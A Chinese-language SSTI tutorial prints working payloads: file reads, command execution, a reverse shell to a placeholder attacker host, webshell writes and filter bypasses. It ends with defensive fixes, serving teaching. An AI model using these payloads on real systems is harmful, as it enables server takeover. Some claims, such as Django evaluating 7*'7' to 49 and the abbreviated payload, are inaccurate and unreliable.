Day-043-SSTI 服务端模板注入

# Day 41: SSTI 服务端模板注入

> Web 安全系列第 11 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [SSTI 概述](#ssti 概述)
2. [模板引擎基础](#模板引擎基础)
3. [SSTI 原理详解](#ssti 原理详解)
4. [Jinja2 SSTI](#jinja2-ssti)
5. [Flask SSTI](#flask-ssti)
6. [其他模板引擎](#其他模板引擎)
7. [检测与利用](#检测与利用)
8. [Bypass 技术](#bypass 技术)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## SSTI 概述

### 什么是 SSTI

SSTI（Server-Side Template Injection，服务端模板注入）是一种 Web 安全漏洞，攻击者通过在模板中注入恶意代码，在服务器端执行任意代码。

**形象理解**：
如果把模板引擎比作一个厨师，那么：
- **正常模板** = 厨师按菜谱做菜
- **SSTI 攻击** = 攻击者修改菜谱，让厨师做毒药
- **厨师** = 模板引擎
- **后果** = 厨师真的做了毒药（执行恶意代码）

**SSTI 与 XSS 的区别**：
```
XSS（跨站脚本）：
- 在客户端浏览器执行
- JavaScript 代码
- 影响其他用户

SSTI（服务端模板注入）：
- 在服务器端执行
- 模板语言/Python/Java 代码
- 获取服务器权限
```

**SSTI 的危害**：
```
1. 远程代码执行
   - 执行系统命令
   - 读取敏感文件
   - 写入 Webshell

2. 信息泄露
   - 读取源代码
   - 获取配置信息
   - 窃取凭证

3. 服务器沦陷
   - 完全控制服务器
   - 横向移动
   - 内网渗透
```

**真实案例**：
```
案例 1: 某电商平台（2019）
- 漏洞：Jinja2 SSTI
- 影响：服务器完全控制
- 手法：用户输入未过滤
- 后果：用户数据泄露

案例 2: 某社交平台（2020）
- 漏洞：Flask SSTI
- 影响：数千台服务器沦陷
- 手法：模板渲染用户输入
- 后果：大规模数据泄露
```

---

## 模板引擎基础

### 什么是模板引擎

**模板引擎**是将模板和数据结合，生成最终输出的工具。

**工作原理**：
```
模板 + 数据 → 模板引擎 → 输出

示例：
模板：<h1>Hello, {{ name }}!</h1>
数据：{"name": "alice"}
输出：<h1>Hello, alice!</h1>
```

**常见模板引擎**：
```
Python:
- Jinja2 (Flask 默认)
- Django Templates
- Mako
- Tornado

Java:
- FreeMarker
- Velocity
- Thymeleaf
- JSP/EL

PHP:
- Smarty
- Twig
- Blade (Laravel)

JavaScript:
- EJS
- Handlebars
- Pug
```

### 模板语法

**Jinja2 语法**：
```jinja2
{# 注释 #}

{{ variable }}          {# 变量输出 #}
{{ user.name }}         {# 属性访问 #}
{{ items[0] }}          {# 索引访问 #}

{% if condition %}      {# 条件语句 #}
  ...
{% endif %}

{% for item in items %} {# 循环语句 #}
  {{ item }}
{% endfor %}

{{ 1 + 1 }}             {# 表达式计算 #}
{{ 'hello' | upper }}   {# 过滤器 #}
```

**FreeMarker 语法**：
```freemarker
<#-- 注释 -->

${variable}             {# 变量输出 #}
${user.name}            {# 属性访问 #}

<#if condition>         {# 条件语句 #}
  ...
</#if>

<#list items as item>   {# 循环语句 #}
  ${item}
</#list>

${1 + 1}                {# 表达式计算 #}
```

---

## SSTI 原理详解

### 为什么会发生 SSTI

**根本原因**：
```
1. 模板渲染用户输入
   - 用户输入直接作为模板
   - 未过滤特殊字符
   - 模板引擎执行代码

2. 模板引擎特性
   - 支持表达式计算
   - 支持函数调用
   - 支持对象访问

3. 沙箱绕过
   - 模板引擎沙箱不完整
   - 可访问危险对象
   - 可执行危险方法
```

**攻击流程**：
```
1. 发现模板注入点
   - 搜索功能
   - 用户资料
   - 邮件模板

2. 测试模板语法
   - {{ 7*7 }}
   - {% if 1==1 %}
   - 观察输出

3. 探测环境
   - 模板引擎类型
   - 可用对象
   - 限制条件

4. 构造 Payload
   - 读取文件
   - 执行命令
   - 获取权限

5. 利用漏洞
   - 读取敏感信息
   - 执行系统命令
   - 写入 Webshell
```

---

## Jinja2 SSTI

### Jinja2 基础

**什么是 Jinja2**：
```
Jinja2 是 Python 最流行的模板引擎，
Flask、Ansible 等广泛使用。

特点：
- 语法简洁
- 功能强大
- 支持沙箱
```

**基本利用**：
```jinja2
{# 测试注入 #}
{{ 7*7 }}
→ 49

{# 访问配置 #}
{{ config }}
→ 显示 Flask 配置

{# 访问请求对象 #}
{{ request }}
→ 显示请求信息
```

### 信息探测

**探测模板引擎**：
```jinja2
{# 测试数学运算 #}
{{ 7*'7' }}
→ 7777777 (Jinja2)
→ 错误 (其他引擎)

{{ 7*'7' }}
→ 49 (Django)

{{7*'7'}}
→ 7777777 (Jinja2)
```

**探测 Python 版本**：
```jinja2
{{ ''.__class__.__mro__[2].__subclasses__() }}
→ 列出所有子类
→ 可推断 Python 版本
```

**探测可用模块**：
```jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}
→ 列出可用类
→ 寻找危险类
```

### 文件读取

**读取文件**：
```jinja2
{# 方法 1: 使用 open #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{# 方法 2: 使用 config #}
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}

{# 方法 3: 使用 request #}
{{ request.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

**Payload 解析**：
```
''              → 空字符串
.__class__      → str 类
.__mro__[2]     → object 类
.__subclasses__() → 所有子类
[40]            → file 类（索引可能不同）
('/etc/passwd') → 打开文件
.read()         → 读取内容
```

### 命令执行

**执行系统命令**：
```jinja2
{# 方法 1: 使用 os 模块 #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}

{# 方法 2: 使用 subprocess #}
{{ config.__class__.__init__.__globals__['subprocess'].check_output(['whoami']).decode() }}

{# 方法 3: 使用 eval #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ eval('__import__("os").popen("whoami").read()') }}
```

**反弹 Shell**：
```jinja2
{{ config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/attacker/4444 0>&1').read() }}
```

**写入文件**：
```jinja2
{{ config.__class__.__init__.__globals__['open']('/var/www/shell.php', 'w').write('<?php system($_GET["c"]); ?>') }}
```

---

## Flask SSTI

### Flask 模板渲染

**Flask 渲染方式**：
```python
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # 危险：渲染用户输入
    template = f"<h1>Search: {query}</h1>"
    return render_template_string(template)
```

**漏洞代码**：
```python
# - 错误做法
@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    template = f"Hello, {name}!"
    return render_template_string(template)

# + 正确做法
@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    return render_template_string("Hello, {{ name }}!", name=name)
```

### Flask 配置泄露

**读取配置**：
```jinja2
{{ config }}
→ 显示所有 Flask 配置

{{ config.items() }}
→ 配置项列表

{{ config.SECRET_KEY }}
→ 密钥泄露
```

**利用配置**：
```jinja2
{# 获取应用对象 #}
{{ config.__class__.__init__.__globals__['current_app'] }}

{# 获取请求对象 #}
{{ config.__class__.__init__.__globals__['request'] }}
```

### Flask Session 劫持

**读取 Session**：
```jinja2
{{ session }}
→ 显示 Session 数据

{{ session['user_id'] }}
→ 用户 ID
```

**修改 Session**：
```jinja2
{# 需要知道 SECRET_KEY #}
{# 通过配置泄露获取 #}
{{ config.SECRET_KEY }}
```

---

## 其他模板引擎

### Django Templates

**探测**：
```django
{{ 7*'7' }}
→ 49 (Django)

{% if 1==1 %}yes{% endif %}
→ yes
```

**利用**：
```django
{# Django 1.8 之前 #}
{% load admin_urls %}
{% url 'admin:index' %}

{# 使用 template 标签 #}
{% include template_name %}
```

### FreeMarker

**探测**：
```freemarker
${1+1}
→ 2

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
→ 执行命令
```

**利用**：
```freemarker
{# 命令执行 #}
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}

{# 文件读取 #}
<#assign file="freemarker.template.utility.ObjectConstructor"?new()>
${file("java.io.FileInputStream","/etc/passwd")}

{# 文件写入 #}
<#assign file="freemarker.template.utility.ObjectConstructor"?new()>
${file("java.io.FileOutputStream","/var/www/shell.jsp").write("jsp code".getBytes())}
```

### Velocity

**探测**：
```velocity
#set($a=1)
$a
→ 1

#set($runtime = $runtime.class)
→ 错误/执行
```

**利用**：
```velocity
#set($runtime = $runtime.class)
#set($runtime = $runtime.forName("java.lang.Runtime"))
#set($runtime = $runtime.getRuntime())
#set($process = $runtime.exec("whoami"))
```

### Twig (PHP)

**探测**：
```twig
{{ 7*'7' }}
→ 49 (Twig)

{{ _self.env.registerUndefinedFilterCallback('exec') }}
{{ _self.env.getFilter('whoami') }}
```

**利用**：
```twig
{{ _self.env.registerUndefinedFilterCallback('system') }}
{{ _self.env.getFilter('whoami') }}

{{ _self.env.setCache("php://filter/convert.base64-encode/resource=/etc/passwd") }}
{{ _self.env.loadTemplate('/etc/passwd') }}
```

---

## 检测与利用

### 手工检测

**步骤 1: 寻找注入点**：
```
□ 搜索功能
□ 用户资料
□ 邮件模板
□ 错误页面
□ 自定义模板
```

**步骤 2: 测试模板语法**：
```jinja2
{{ 7*7 }}
{{ 7*'7' }}
{% if 1==1 %}yes{% endif %}
{{ config }}
{{ request }}
```

**步骤 3: 观察响应**：
```
- 计算结果 → 可能注入
- 配置信息 → 确认注入
- 错误信息 → 可能注入
- 无变化 → 可能无注入
```

### 自动化工具

**Tplmap**：
```bash
# 安装
git clone https://github.com/epinna/tplmap
cd tplmap
pip install -r requirements.txt

# 检测
./tplmap.py -u "http://target.com/search?q=test"

# 利用
./tplmap.py -u "http://target.com/search?q=test" --os-shell
```

**SSTImap**：
```bash
# 安装
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip install -r requirements.txt

# 检测
python3 sstimap.py -u "http://target.com/search?q=test"

# 利用
python3 sstimap.py -u "http://target.com/search?q=test" -i
```

### 利用流程

**信息收集**：
```jinja2
{# 探测引擎 #}
{{ 7*'7' }}

{# 探测 Python 版本 #}
{{ ''.__class__.__mro__[2].__subclasses__() }}

{# 探测可用模块 #}
{{ config.__class__.__init__.__globals__.keys() }}
```

**权限提升**：
```jinja2
{# 读取文件 #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{# 执行命令 #}
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}

{# 反弹 Shell #}
{{ config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/attacker/4444 0>&1').read() }}
```

---

## Bypass 技术

### WAF 绕过

**关键词过滤**：
```jinja2
{# 过滤 __ #}
{{ ''['__class__'] }}
→ 使用字符串索引

{# 过滤 class #}
{{ ''['cla'+'ss'] }}
→ 字符串拼接

{# 过滤 mro #}
{{ ''['cl'+'ass']['__ba'+'se__'] }}
→ 使用 __base__
```

**长度限制**：
```jinja2
{# 短 Payload #}
{{ c.__init__.__globals__.os.popen('whoami').read() }}
→ 需要 c 是 config

{# 使用缩写 #}
{{ c.__i__.__g__.os.popen('w').read() }}
→ 需要定义缩写
```

**字符限制**：
```jinja2
{# 无引号 #}
{{ ().__class__.__base__.__subclasses__() }}
→ 使用元组

{# 无点号 #}
{{ ''['class'] }}
→ 使用索引
```

### 沙箱绕过

**Jinja2 沙箱**：
```jinja2
{# 沙箱环境 #}
{{ ''.__class__.__mro__ }}
→ 被阻止

{# 绕过方法 #}
{{ request.__class__.__mro__[2].__subclasses__() }}
→ 使用 request 对象

{# 使用 config #}
{{ config.__class__.__init__.__globals__ }}
→ 访问全局变量
```

**FreeMarker 沙箱**：
```freemarker
{# 沙箱环境 #}
<#assign ex="freemarker.template.utility.Execute"?new()>
→ 被阻止

{# 绕过方法 #}
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("whoami")}
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免渲染用户输入**：
```python
# - 错误做法
@app.route('/search')
def search():
    query = request.args.get('q', '')
    template = f"<h1>Search: {query}</h1>"
    return render_template_string(template)

# + 正确做法
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return render_template_string("<h1>Search: {{ query }}</h1>", query=query)
```

**使用沙箱**：
```python
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("Hello, {{ name }}!")
result = template.render(name="alice")
```

**禁用危险功能**：
```python
from jinja2 import Environment

env = Environment()
env.globals.pop('__builtins__', None)
env.filters.pop('eval', None)
```

### 配置防护

**最小权限**：
```python
# 限制可用模块
app.config['TEMPLATES_AUTO_RELOAD'] = False
app.config['TRAP_HTTP_EXCEPTIONS'] = True
```

**错误处理**：
```python
# 自定义错误页面
@app.errorhandler(500)
def handle_500(error):
    return render_template('error.html'), 500

# 不显示详细错误
app.config['DEBUG'] = False
```

### 运行时防护

**WAF 规则**：
```
检测 SSTI 特征：
- {{ }}
- {% %}
- __class__
- __mro__
- __subclasses__

阻断可疑请求：
- 包含模板语法
- 包含危险属性
- 来源可疑
```

**监控告警**：
```
监控：
- 模板渲染调用
- 异常模板错误
- 危险属性访问

告警：
- SSTI 尝试
- 沙箱绕过
- 文件访问
```

---

## 实战案例分析

### 案例 1: Flask 应用 SSTI

**漏洞描述**：
```
应用：某 Flask 应用
漏洞：SSTI
位置：搜索功能
影响：远程代码执行
```

**发现过程**：
```
1. 测试搜索功能
   /search?q=test

2. 测试模板语法
   /search?q={{ 7*7 }}
   → 页面显示 49

3. 确认注入
   /search?q={{ config }}
   → 显示 Flask 配置

4. 利用漏洞
   /search?q={{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
   → 执行命令
```

**修复方案**：
```python
# 修改前
@app.route('/search')
def search():
    query = request.args.get('q', '')
    template = f"<h1>Search: {query}</h1>"
    return render_template_string(template)

# 修改后
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return render_template_string("<h1>Search: {{ query }}</h1>", query=query)
```

### 案例 2: 邮件模板 SSTI

**漏洞描述**：
```
应用：某电商平台
漏洞：邮件模板 SSTI
位置：密码重置邮件
影响：账户劫持
```

**攻击流程**：
```
1. 请求密码重置
   输入受害者邮箱

2. 邮件模板渲染用户数据
   模板：Hello, {{ user.name }}!

3. 注入恶意模板
   用户名：{{ config.SECRET_KEY }}

4. 获取密钥
   邮件显示密钥

5. 伪造 Session
   劫持受害者账户
```

**修复方案**：
```python
# 修改前
def send_reset_email(user):
    template = f"Hello, {user.name}! Click here to reset..."
    send_email(template)

# 修改后
def send_reset_email(user):
    template = "Hello, {{ name }}! Click here to reset..."
    send_email(template, name=user.name)
```

---

## 总结与思考

### 核心要点回顾

1. **SSTI 原理**
   - 模板渲染用户输入
   - 模板引擎执行代码
   - 获取服务器权限

2. **常见引擎**
   - Jinja2 (Python)
   - FreeMarker (Java)
   - Twig (PHP)

3. **防护策略**
   - 避免渲染用户输入
   - 使用沙箱
   - 禁用危险功能

### 深入思考问题

1. **为什么 SSTI 依然普遍**？
   - 模板使用广泛
   - 开发人员意识不足
   - 动态模板需求

2. **沙箱的局限性**？
   - 沙箱绕过技术
   - 对象访问风险
   - 配置不当

3. **未来防护方向**？
   - 静态模板
   - 严格沙箱
   - 运行时保护

### 实战建议

**开发人员**：
1. 避免渲染用户输入
2. 使用参数化模板
3. 启用沙箱
4. 禁用危险功能

**安全人员**：
1. 定期 SSTI 扫描
2. 代码审计
3. 渗透测试
4. 监控告警

**管理层**：
1. 安全培训
2. 代码审查
3. 模板引擎选型
4. 应急响应预案

---

## 参考资料

### 学习资源
- [Jinja2 Documentation](https://jinja.palletsprojects.com/)
- [OWASP SSTI](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)
- [Python SSTI](https://www.sans.org/)

### 工具资源
- [Tplmap](https://github.com/epinna/tplmap)
- [SSTImap](https://github.com/vladko312/SSTImap)
- [Burp Suite](https://portswigger.net/burp)

### 书籍推荐
- 《Web 安全深度剖析》
- 《Python 安全编程》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 42 - 文件包含漏洞（LFI/RFI）

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 41 篇，Web 安全部分第 11 篇，精编版本*